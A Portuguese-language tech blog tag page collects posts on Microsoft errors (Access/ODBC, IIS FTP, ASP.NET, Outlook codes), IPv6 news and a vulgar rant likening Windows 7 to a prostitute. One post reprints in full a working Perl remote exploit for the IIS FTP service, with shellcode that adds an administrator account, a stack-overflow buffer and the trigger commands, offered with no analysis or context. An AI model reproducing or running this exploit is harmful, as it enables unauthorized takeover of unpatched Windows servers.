Posts Tagged ‘microsoft’

Warning: odbc_connect() [function.odbc-connect]: SQL error: [Microsoft][ODBC Microsoft Access Driver] Could not use ‘(unknown)’; file already in use., SQL state S1000 in SQLConnect in

Friday, May 21st, 2010

Antemão estou quase chorando por estar usando access, mas como se diz: “Sábio é o que dança conforme a música manda!”.
Estou desenvolvendo ferramentas para automatizar algumas replicações de dados de uma empresa e estou usando php (tecnologia) + access (isso é um banco?)

Este erro é ocasionado pelo fato de existir um drive fechando a conexão (na realidade aberto e acaba bloqueando novas conexões), por exemplo o Access abrindo a bendita base de dados access (.MDB).

Garanta que nada esteja abrindo o access database.

Uma forma de ver que isto está ocorrendo é observar se na pasta aonde o banco de dados esteja, exemplo nerdblog.mdb contenha também um arquivo nerdblog.ldb.

Ao fechar o driver ele automaticamente removerá o arquivo .LDB.

:D

Windows 7: Embalado como prostituta e comercializado como rainha!

Thursday, March 4th, 2010

Bom dia a todos,

hoje acordei como dizem na minha terra, “virado”, e pensei em colocar na web um pouco da minha idéia em cima do Windows 7.
Muitos sabem que sou amante do Gnu/Linux assim como um admirador do Windows Server 2003 (não é o 2008).
O foco aqui não é ser xiita ou mesmo um defensor de sistemas/ferramentas X ou Y, o caso aqui é mostrar como brasileiro paga por “enlatado” e não tem sequer idéia do que está levando para casa.

Toda prostituta (ou quase toda) faz “serviço completo”, isto mesmo, mulheres da noite costumam fazer sexo anal, sexo oral, sexo normal e ainda outras fantasias do “comprador de prazeres momentaneos”. (não estou defendendo este mercado)

Vamos fazer uma comparação rápida sobre o Windows Vista:

1 – Aero não é um tema/função do Windows 7 (Todos sabem e já foi noticiado por empresas/jornais de grande porte como o Windows Vista tornou-se um tiro no pé para o consumidor).
2 – O custo deste sistema operacional em relação ao seu antepassado e quase finado Windows XP é absurdamente maior.
3 – A quantidade de Bugs que esse sistema apresenta, os crashes de fechar suites e programas no geral é incontável.

Assim que o Windows Vista saiu a “modinha” da época (eu era analista de suporte e acompanhava as tendências de “skins”) era deixar o desktop bonitinho, atraente.

Quem acompanhou palestras dos “partners” por volta de 2007 no nordeste viu que eles (Microsoft) gritavam ao mundo: “O Linux faz isto?”, “O Linux faz aquilo?”.

Era literalmente isto, e os “amigos dos partners” abriam um sorriso na platéia, o foco ali era rebaixar ao máximo o Linux.

O tempo (o santo remédio)

Bastou que o tempo passasse e pimba, vimos os “amigos dos partners” desabafando nos fóruns por que o aplicativo X não operava com estabilidade, impressoras foram dando erro, anti-vírus em sua defesa proativa tinha crashes e assim a coisa se resumiu em: “Somos dementes, compramos e agora arcamos com nossa imbecilidade!”.
Na época das palestras “partnes”, eu implementava serviços “híbridos” em redes, ou seja, em alguns lugares para segurar o tipo de demanda eram instalados Linux e em outros lugares eram instalados Windows Server 2003.
A rede que interligamos (na mesma época de analista) era enorme (cidades rodando sobre interligação via embratel por adsl corporativo), active directory + unidades organizacionais operando nota mil.
A rede era composta de poucos linux (os poucos eram objetos integrados no active directory) e a maior parte Windows XP professional.

O tempo passou e a necessidade de atualizar o parque computacional se tornou um drama, primeiro por que ter a plataforma Vista em um PC era necessário ter um hardware MUITO bom, segundo que a licença do Windows Vista Business (era o que atenderia) era caríssima.
Os “amigos dos partners e mvps” estavam tristes e cabisbaixos por que fazer o upgrade da rede era gradativo e custava uma “bagatelinha” de 3 x quase R$ 100.000,00. (isto por que eles ganhariam o direito de partner, ou seja, os softwares viriam com uma bolsinha colorida na nova versão e uma etiqueta de PARTER, que “luxo”!).

A fantasia com a prostuta acabou ali, saiba que quando um empresário vai colocar a corda no pescoço ele sabe que isto deve ocorrer para o crescimento da empresa, mas passar 90 dias por que ser um “partner MVP” é maravilho, ah meu amigo, isso ele abandona na hora!

Minha sugestão na época foi implementar o Ubuntu como plataforma Desktop/Workstation, isto iria reduzir muito os custos, visto que parte dos softwares poderia rodar sob Wine assim como a parte de impressão e compartilhamento de arquivos estaria suprida (que show!).

Obs: NUNCA contrate uma empresa para desenvolver um software que rode somente na plataforma X, isto pode gerar muitos custos a sua empresa. (falo isto com base no que vivi, por isso acho bacana Free Software/Open Source)

“Graças” a empresa que na época era parceira e que tinha portado o suite da empresa para Windows (É em Delphi), o código não tinha chance de rodar no Linux graças as muitas bibliotecas usadas pelo Windows (que o aplicativo necessitava).

Com o passar dos meses percebi que “ser um partner” era um estupro financeiro e que os “amigos dos partners” eram estupradores de empresas devido o fato de “usarem o melhor de um mvp”, ou seja, toda fonte de bibliotecas DOS/NT sob domínio de programadores e com clicks milagrosos e pronto, “uma tela de sistema estava pronta” e simplesmente davam um “lock” no seu aplicativo, ou seja, não tinha como migrar para outra plataforma! UHUUU!

A saída para esta empresa era portar seus sistemas para Windows Vista (e se lascar com os custos de Hardware e “partner”), ficar do jeito que está ou enfrentar uma maratona para migrar quase tudo para Linux. O que decidiram?
Ficar com Windows XP, não gastar nada e deixar “o time que está ganhando, ganhando!”.
O ruim dessa teoria é que “um dia o partner ou paga para subir de versão do sistema ou será esquecido pelo Windows Update”.

O tempo passou e foi o “remédio” para os “sonhadores de um dia serem amigos dos partners e partners e mvps dos mvps”.

A chegada da correção do Windows Vista

Quando a Microsoft percebeu que perdeu muito espaço para outros sistemas operacionais (ela tem nojo do termo Ubuntu, pode perguntar aos “partners”) ela decidiu que precisava fazer algo mais leve, tentar dar estabilidade e usabilidade ao Windows Vista (é isto mesmo, dar uma “cara melhor” ao Vista).
Isto aconteceu!
Com o lançamento do Windows 7 podemos ver um rápido CTRL + C e CTRL + V do Vista -> 7, e em consequência disto os “Live Crashes” ainda andam por aí.
Alguém aqui consegue usar o Messenger Live no Windows 7 sem tela azul?
Mas o que é isso? Mais de R$ 500,00 para ver seu PC dando tela azul?
Perdeu seu documento e ainda assim vai se contentar com isto?
Hora, 2 gerações atrás um carinha chamado XP não apresentava 90% dessa instabilidade e mesmo assim vai ficar aí acomodado?

A “prostituta” apareceu como rainha em meio aos “partners” que por sua vez (novamente) sairam às ruas e auditórios a falar: “O Linux faz isto?”.
Os crashes voltaram mais rápidos que nunca, mais versáteis que nunca, mais atraentes que nunca (isto, era tela azul bem rápido, agora é beeeem gradativa), na tentativa de desligar o pc você encontra tela de fechamento de aplicativos de maneira abrupta e etc.

Pelo menos é bem mais rápido e bonito que o Windows Vista!

Aos partners e amigos dos partners, assim como mvps, “Uma rainha”, aos usuários/desenvolvedores/secretárias/sysadmins, “Uma prostituta que não cumpre pelo que foi pago”!

Todos sabem que às bibliotecas do Windows Vista foram aproveitadas no Windows 7, assim como muito da parte do kernel (há quem diga que não).

O Windows server 2008 não deveria se chamar Windows Vista with services included?
Falar que o Windows server 2008 é bom por que é focado em virtualização é uma loucura, isto por que nenhuma plataforma chega aos pés do CitrixServer ou VMware em suas versões enterprise. (só falta eu tirar minha conclusão em cima da Parallels)

Quem usa sabe que é terrível se localizar neste sistema, e o pior, fazer a coisa andar ali é quase um milagre.

Ainda estou esperando um lançamento decente deles, e creio que será algo bem mais amigável/estável/funcional/barato que o Windows 7, disso eu tenho certeza.

Corrida contra o tempo já começa entre os grandes para implementação do IPV6

Tuesday, February 9th, 2010

Google, Microsoft, Twitter, Facebook, eBay, Yahoo e Wikipedia sofrem cada vez mais pressão para se adequar ao novo protocolo da internet.

Cresce a pressão para que os sites mais populares da internet integrem suas redes ao IPv6, o tão aguardado upgrade do principal protocolo da internet, que atualmente está na versão 4.

E essa pressão foi elevada em mais um grau esta semana, com a notícia de que o Google ativou o suporte ao IPv6 para o site de vídeos YouTube. O Google já oferece acesso IPv6 a seu site de buscas e a muitos outros serviços da web.

Confira toda a matéria em:
http://br-linux.org/2010/o-que-7-gigantes-da-web-estao-fazendo-para-adotar-o-ipv6/

Exploit para o IIS 6 (FTPD) – BOF

Monday, February 1st, 2010

# IIS 5.0 FTPd / Remote r00t exploit
# Win2k SP4 targets
# bug found & exploited by Kingcope, kcope2googlemail.com
# Affects IIS6 with stack cookie protection
# August 2009 - KEEP THIS 0DAY PRIV8
use IO::Socket;
$|=1;
#metasploit shellcode, adduser "winown:nwoniw"
$sc = "\x89\xe2\xda\xde\xd9\x72\xf4\x5b\x53\x59\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" .
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" .
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" .
"\x42\x75\x4a\x49\x4b\x4c\x4a\x48\x50\x44\x43\x30\x43\x30" .
"\x43\x30\x4c\x4b\x47\x35\x47\x4c\x4c\x4b\x43\x4c\x45\x55" .
"\x42\x58\x45\x51\x4a\x4f\x4c\x4b\x50\x4f\x45\x48\x4c\x4b" .
"\x51\x4f\x51\x30\x43\x31\x4a\x4b\x47\x39\x4c\x4b\x47\x44" .
"\x4c\x4b\x43\x31\x4a\x4e\x50\x31\x49\x50\x4c\x59\x4e\x4c" .
"\x4c\x44\x49\x50\x44\x34\x43\x37\x49\x51\x49\x5a\x44\x4d" .
"\x43\x31\x49\x52\x4a\x4b\x4c\x34\x47\x4b\x51\x44\x46\x44" .
"\x43\x34\x43\x45\x4a\x45\x4c\x4b\x51\x4f\x51\x34\x43\x31" .
"\x4a\x4b\x43\x56\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f" .
"\x45\x4c\x45\x51\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x45\x51" .
"\x4a\x4b\x4b\x39\x51\x4c\x46\x44\x44\x44\x48\x43\x51\x4f" .
"\x46\x51\x4c\x36\x43\x50\x50\x56\x45\x34\x4c\x4b\x50\x46" .
"\x50\x30\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c" .
"\x4e\x4d\x4c\x4b\x42\x48\x45\x58\x4d\x59\x4a\x58\x4c\x43" .
"\x49\x50\x43\x5a\x46\x30\x43\x58\x4c\x30\x4c\x4a\x44\x44" .
"\x51\x4f\x43\x58\x4a\x38\x4b\x4e\x4d\x5a\x44\x4e\x50\x57" .
"\x4b\x4f\x4a\x47\x42\x43\x42\x4d\x45\x34\x46\x4e\x42\x45" .
"\x44\x38\x43\x55\x47\x50\x46\x4f\x45\x33\x47\x50\x42\x4e" .
"\x42\x45\x43\x44\x51\x30\x44\x35\x44\x33\x45\x35\x44\x32" .
"\x51\x30\x43\x47\x43\x59\x42\x4e\x42\x4f\x43\x47\x42\x4e" .
"\x51\x30\x42\x4e\x44\x37\x42\x4f\x42\x4e\x45\x39\x43\x47" .
"\x47\x50\x46\x4f\x51\x51\x50\x44\x47\x34\x51\x30\x46\x46" .
"\x51\x36\x51\x30\x42\x4e\x42\x45\x44\x34\x51\x30\x42\x4c" .
"\x42\x4f\x43\x53\x45\x31\x42\x4c\x42\x47\x43\x42\x42\x4f" .
"\x43\x45\x42\x50\x47\x50\x47\x31\x42\x44\x42\x4d\x45\x39" .
"\x42\x4e\x42\x49\x42\x53\x43\x44\x43\x42\x45\x31\x44\x34" .
"\x42\x4f\x43\x42\x43\x43\x47\x50\x42\x57\x45\x39\x42\x4e" .
"\x42\x4f\x42\x57\x42\x4e\x47\x50\x46\x4f\x47\x31\x51\x54" .
"\x51\x54\x43\x30\x41\x41";
#1ca
print "IIS 5.0 FTPd / Remote r00t exploit by kcope V1.2\n";
if ($#ARGV ne 1) {
print "usage: iiz5.pl \n";
exit(0);
}
srand(time());
$port = int(rand(31337-1022)) + 1025;
$locip = $ARGV[1];
$locip =~ s/\./,/gi;
if (fork()) {
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => '21',
Proto => 'tcp');
$patch = "\x7E\xF1\xFA\x7F";
#$retaddr = "ZZZZ";
$retaddr = "\x9B\xB1\xF4\x77"; # JMP ESP univ on 2 win2k platforms
$v = "KSEXY" . $sc . "V" x (500-length($sc)-5);
# top address of stack frame where shellcode resides, is hardcoded inside this block
$findsc="\xB8\x55\x55\x52\x55\x35\x55\x55\x55\x55\x40\x81\x38\x53"
."\x45\x58\x59\x75\xF7\x40\x40\x40\x40\xFF\xFF\xE0";
# attack buffer
$c = $findsc . "C" . ($patch x (76/4)) . $patch.$patch.
($patch x (52/4)) .$patch."EEEE$retaddr".$patch.
"HHHHIIII".
$patch."JKKK"."\xE9\x63\xFE\xFF\xFF\xFF\xFF"."NNNN";
$x = <$sock>;
print $x;
print $sock "USER anonymous\r\n";
$x = <$sock>;
print $x;
print $sock "PASS anonymous\r\n";
$x = <$sock>;
print $x;
print $sock "MKD w00t$port\r\n";
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n"; # We store shellcode in memory of process (stack)
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n";
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n";
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n";
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n";
$x = <$sock>;
print $x;
print $sock "CWD w00t$port\r\n";
$x = <$sock>;
print $x;
print $sock "MKD CCC". "$c\r\n";
$x = <$sock>;
print $x;
print $sock "PORT $locip," . int($port / 256) . "," . int($port % 256) . "\r\n";
$x = <$sock>;
print $x;
# TRIGGER
print $sock "NLST $c*/../C*/\r\n";
$x = <$sock>;
print $x;
while (1) {}
} else {
my $servsock = IO::Socket::INET->new(LocalAddr => "0.0.0.0", LocalPort => $port, Proto => 'tcp', Listen => 1);
die "Could not create socket: $!\n" unless $servsock;
my $new_sock = $servsock->accept();
while(<$new_sock>) {
print $_;
}
close($servsock);
}
#Cheerio,
#
#Kingcope

Códigos de erros comuns do Outlook Express e Microsoft Outlook

Tuesday, December 15th, 2009

ERRO 0X800CCC19 (OE) OU 0X8004210A (OUTLOOK 2002)
Erro: A opção Scan incoming Email and Scan outgoing Email está activada no programa Norton AntiVirus.
Solução: Desativar o antivirus e a consultar o suporte técnico do fabricante do seu Anti Virus.

ERRO 0X800CCC0E, ERRO DE SOQUETE 10061
Erro:
A opção Scan incoming Email and Scan outgoing Email está ativada no programa AntiVirus.
Solução: Desativar o antivirus e a consultar o suporte técnico do fabricante do seu Anti Virus.

ERRO 0X800CCC0D OU 0X800CCC0F
Erro:
O Norton AntiVirus poderá ter executado o LiveUpdate da Norton e instalado a atualização Script Blocking.
Solução: Desativar o antivirus e a consultar o suporte técnico do fabricante do seu Anti Virus.

ERRO: POP3 E SMTP ERRO DE SOQUETE 11001 Nº DO ERRO 0X800CCC0D
Erro:
Configuração do servidor pop3 ou smtp esta incorreta, a porta do servidor esta bloqueada, esta ligado a um servidor, ou esta sem comunicação com a internet.
Solução: Verificar se o cliente esta se comunicando com a internet, se possui firewall ou se esta ligado em rede.

ERRO: SMTP ERRO DE SOQUETE 11004 Nº DO ERRO 0X800CCC0D
Erro:
Configuração do servidor smtp esta incorreta.

ERRO: POP3 E SMTP ERRO DE SOQUETE 11060 Nº DO ERRO 0X800CCC0E
Erro:
Configuração da porta do servidor esta incorreta ou bloqueada.

ERRO: POP3 E SMTP N.º DO ERRO 0X800CCC0E 10065
Erro:
Sem comunicação com a internet.

ERRO: POP3 E SMTP MSG: ERRO DE TCP/IP N.º DO ERRO 0X800CCC15
Erro:
Sem comunicação com a internet.

ERRO: SMTP ERRO: 0X800CCC78 OU 0X800CCC79
Erro:
A MENSAGEM NÃO PODE SER ENVIADA PORQUE UM DOS DESTINATÁRIOS FOI REJEITADO PELO SERVIDOR.
Solução: Autenticar no POP3 provedor, verificar se o SMTP configurado é do provedor, verificar se não tem mais de 200 destinatários.
Se tudo estiver OK, fazer um teste no webmail ou no OE e verificar se envia para o destinatário recusado.

ERRO: POP3 N.º DO ERRO 0X800C0131 ERRO DESCONHECIDO ( NÃO É POSSÍVEL RECEBER E-MAILS )
Erro:
Espaço insuficiente no disco rígido ou a pasta itens enviados esta danificada.
Solução: Excluir o arquivo “Caixa de entrada.dbx”

ERRO: SMTP N.º DO ERRO 0X800C0131 ERRO DESCONHECIDO ( NÃO É POSSÍVEL ENVIAR E-MAILS )
Erro:
Espaço insuficiente no disco rígido ou a pasta itens enviados esta danificada.
Solução: Excluir o arquivo “Itens Enviados.dbx”

ERRO: SMTP N.º DO ERRO 0X800CCC67 ERRO DESCONHECIDO ( NÃO É POSSÍVEL ENVIAR E-MAILS )
Erro:
Seu computador ou sua rede está conectado à Internet usando um roteador Linksys BEFSR41, BEFSR81 ou BEFW11S4.
O e-mail que você está tentando enviar contém um anexo ou foi escrito usando o Microsoft Word.
Solução: Excluir o email de saída e criar outro.

N.º DO ERRO 0X800CCC90 OU 0X800CCC91
Erro:
Erro ao fazer logon com o servidor de email. “A senha foi recusada”.

0X800CCC90 OU 0X800CCC18
Erro:
Não foi possível conectar-se ao servidor usando a autenticação de senha de segurança.
Solução: Desmarcar efetuar logon usando autenticação de senha de segurança.

ERRO DE SOQUETE: 10053 N.º DO ERRO: 0X800CCC0F
Erro:
Possível instabilidade na caixa postal ou no servidor.

N.º DO ERRO: 0X8004210B (MICROSOFT OUTLOOK)
Erro:
Ao enviar e receber” detectou um erro (0x8004210B) : “A operação excedeu o tempo de espera de uma resposta do servidor de envio de correio (SMTP)
Solução: Configuração do servidor pop3 ou smtp esta incorreta, a porta do servidor esta bloqueada, esta ligado a um servidor, ou esta sem comunicação com a internet.


N.º DO ERRO: 0X80040116 (MICROSOFT OUTLOOK)
Erro:
Erro desconhecido ( Não é Possível Receber E-mails )
Solução: Localizar o arquivo Outlook.pst e renomear para OLD.pst

N.º DO ERRO 0X80042108 (MICROSOFT OUTLOOK)
Erro:                            O Outlook não consegue conectar-se ao seu servidor de e-mail POP3 de mensagens recebidas.
Possíveis causas: Sem comunicação com a internet.
Existem arquivos corrompidos em seu disco rígido. Você está executando o Norton Personal Firewall 2002.
Você está executando software Norton Internet Security.
Você instalou uma atualização do Microsoft Office XP.

CLIENT HOST REJECTED: TEMPORARY UNAVAILABLE
Erro: O endereço eletrônico recusado foi “user@provedor.com.br”. Assunto “Re: Assunto”, Conta: “Nome”, Servidor: smtp.provedor.com.br”, Protocolo: SMTP, Resposta do servidor: “554 <IPSERVIDOR>:
Client host rejected: Temporary Unavailable”, Porta: 25, Segura (SSL): Não, Erro do servidor: 554, Nº do erro: 0x800CCC79
Causa: A mensagem não pôde ser enviada porque um de seus destinatários foi recusado pelo servidor.

FONTE: http://www.agenciadix.com.br/ajuda/site/index.php?faq=218&sid=codigos-de-erros-comuns-do-outlook-expresse-e-microsoft-outlook.html

A dynamic link library (DLL) initialization routine failed FTP

Friday, March 13th, 2009

Se você recebeu esta mensagem quando estava tentando reiniciar seu FTP (iis) -> A dynamic link library (DLL) initialization routine failed FTP – siga a dica abaixo:

entre no servidor, abra o MS-DOS (iniciar-> executar -> cmd) e digite:

cd c:\inetpub\adminscripts\

Entrando ali ajuste as portas passivas para uso do FTP (lembrar que tais portas só operam acima de 5500, por isso do erro):

adsutil.vbs get msftpsvc/Passiveportrange “5500-5800″

Após reinicie seu iis e seja feliz!

WRN: Assembly binding logging is turned OFF. To enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]

Tuesday, March 10th, 2009

Se você recebeu o ERRO:

Server Error in ‘/’ Application.
________________________________________
Configuration Error
Description: An error occurred during the processing of a configuration file required to service this request. Please review the specific error details below and modify your configuration file appropriately.

Parser Error Message: Could not load file or assembly ‘System.Web.Extensions, Version=1.0.61025.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35′ or one of its dependencies. The system cannot find the file specified.

Source Error:

Line 37:
Line 38:
Line 39:
Line 40:
Line 41:

Source File: C:\Inetpub\vhosts\nerdblog.info\httpdocs\web.config Line: 39

Assembly Load Trace: The following information can be helpful to determine why the assembly ‘System.Web.Extensions, Version=1.0.61025.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35′ could not be loaded.

WRN: Assembly binding logging is turned OFF.
To enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1.
Note: There is some performance penalty associated with assembly bind failure logging.
To turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog].

NADA de pânico, você só precisa acessar o site da Microsoft, instalar o Asp.Net ajax e ser feliz:

http://www.microsoft.com/downloads/details.aspx?FamilyID=ca9d90fa-e8c9-42e3-aa19-08e2c027f5d6&displaylang=en

Após download instale o aplicativo em na máquina aonde o erro ocorreu (servidor) e seja feliz com o asp.net ajax.

Wildcard DNS no Windows Server 2000/2003 Plesk

Friday, March 6th, 2009

Vamos entrar com a zona DNS no Windows Server 2003:

1.

Clique em “Start”, Clique em “Control Panel”, Clique em “Administrative Tools”, e depois Clique em DNS.
2.

No menu “Action”, Clique em “Connect to DNS Server”.
3.

Em “Connect to DNS Server”, Clique no próximo computador.
4.

Entre com uma entrada WildCard no computador:*.seudomínio.com.br.
5.

Selecione o “Connect to the specified computer” marcando a checkbox, e clique em Ok.

No 2000 server use:

1.

Na ferramenta de administração de DNS crie um domínio “filho” em seudomínio.com.br do tipo “*”.
2.

No domínio filho “*” crie uma entrada com o nome vazio, porém com o ip principal do site, algo com 192.168.100.100 (coloque o ip do site). Você deverá ignorar a mensagem de erro pela entrada de nome vazia.

Parser Error Message: The file ‘/MasterPage.master’ does not exist.

Tuesday, February 24th, 2009

Parser Error Message: The file ‘/MasterPage.master’ does not exist.

Se você recebeu esta mensagem quando estava programando em Asp.Net, não se preocupe, talvez você possa aplicar a solição abaixo e “dormir” de cabeça tranqüila:

1 -> Verifique se seu script está assim:

Line 1:  <%@ page title="" language="C#" masterpagefile="~/MasterPage.master"...

Nada de pânico, substitua masterpagefile=”~/MasterPage.master” por masterpagefile=”./MasterPage.master”.



Microsoft OLE DB Provider for ODBC Drivers error ? [Microsoft][ODBC Microsoft Access Driver] Cannot open database (unknown). It may not be a database that your application recognizes, or the file may be corrupt.

Wednesday, February 18th, 2009

Sem dúvidas será hora de chamar o desenvolvedor ou o responsável pelo site e ordenar que suba a base de dados novamente, pois sua base de dados foi corrompida. Você pode deletar a base de dados atual, e fazer o upload de uma nova base.

Este problema pode ocorrer quando o acesso a essa base de dados está muito alto. É indicado neste caso a migração desta base para MS-SQL.

Ibm lança Microsoft-Free Linux Virtual Desktop

Monday, December 8th, 2008

Repassando a nota oficial:

“According to Information Week, IBM has introduced a line of business computers that avoid Microsoft’s desktop environment in favor of open source software. IBM worked with Canonical and Virtual Bridges to create the platform, which IBM claims saves businesses $500 to $800 per user on software licenses and an additional $258 per user ‘since there is no need to upgrade hardware to support Vista and Office.’”

fonte: http://www.cyberlinux.com.br